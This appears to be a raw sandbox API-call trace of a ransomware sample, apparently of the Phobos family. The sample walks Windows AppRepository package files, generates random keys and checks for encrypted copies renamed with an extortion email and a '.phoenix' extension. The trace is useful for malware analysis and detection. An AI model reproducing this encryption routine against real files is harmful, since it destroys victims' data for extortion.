	[0262.494] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=924) returned 1
	[0262.494] CloseHandle (hObject=0x2e4) returned 1
	[0262.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.495] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.495] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.495] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.496] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=36864) returned 1
	[0262.496] CloseHandle (hObject=0x2e4) returned 1
	[0262.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.497] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.497] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.497] CloseHandle (hObject=0x2e4) returned 1
	[0262.497] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.505] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5796) returned 1
	[0262.505] CloseHandle (hObject=0x2e4) returned 1
	[0262.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.505] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.505] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.505] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.507] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.507] CloseHandle (hObject=0x2e4) returned 1
	[0262.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.507] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.507] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.508] CloseHandle (hObject=0x2e4) returned 1
	[0262.508] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.509] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1764) returned 1
	[0262.509] CloseHandle (hObject=0x2e4) returned 1
	[0262.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.509] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.509] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.510] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.611] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.611] CloseHandle (hObject=0x2e0) returned 1
	[0262.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.612] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.612] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.612] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.613] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.613] CloseHandle (hObject=0x2e0) returned 1
	[0262.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.614] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.614] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.614] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.614] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.614] CloseHandle (hObject=0x2e0) returned 1
	[0262.614] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.615] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.623] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2428) returned 1
	[0262.623] CloseHandle (hObject=0x2e0) returned 1
	[0262.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.623] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.623] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.623] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.625] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=12288) returned 1
	[0262.625] CloseHandle (hObject=0x2e0) returned 1
	[0262.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.625] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.625] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.625] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.626] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.626] CloseHandle (hObject=0x2e0) returned 1
	[0262.626] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.626] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.633] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2556) returned 1
	[0262.633] CloseHandle (hObject=0x2e0) returned 1
	[0262.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
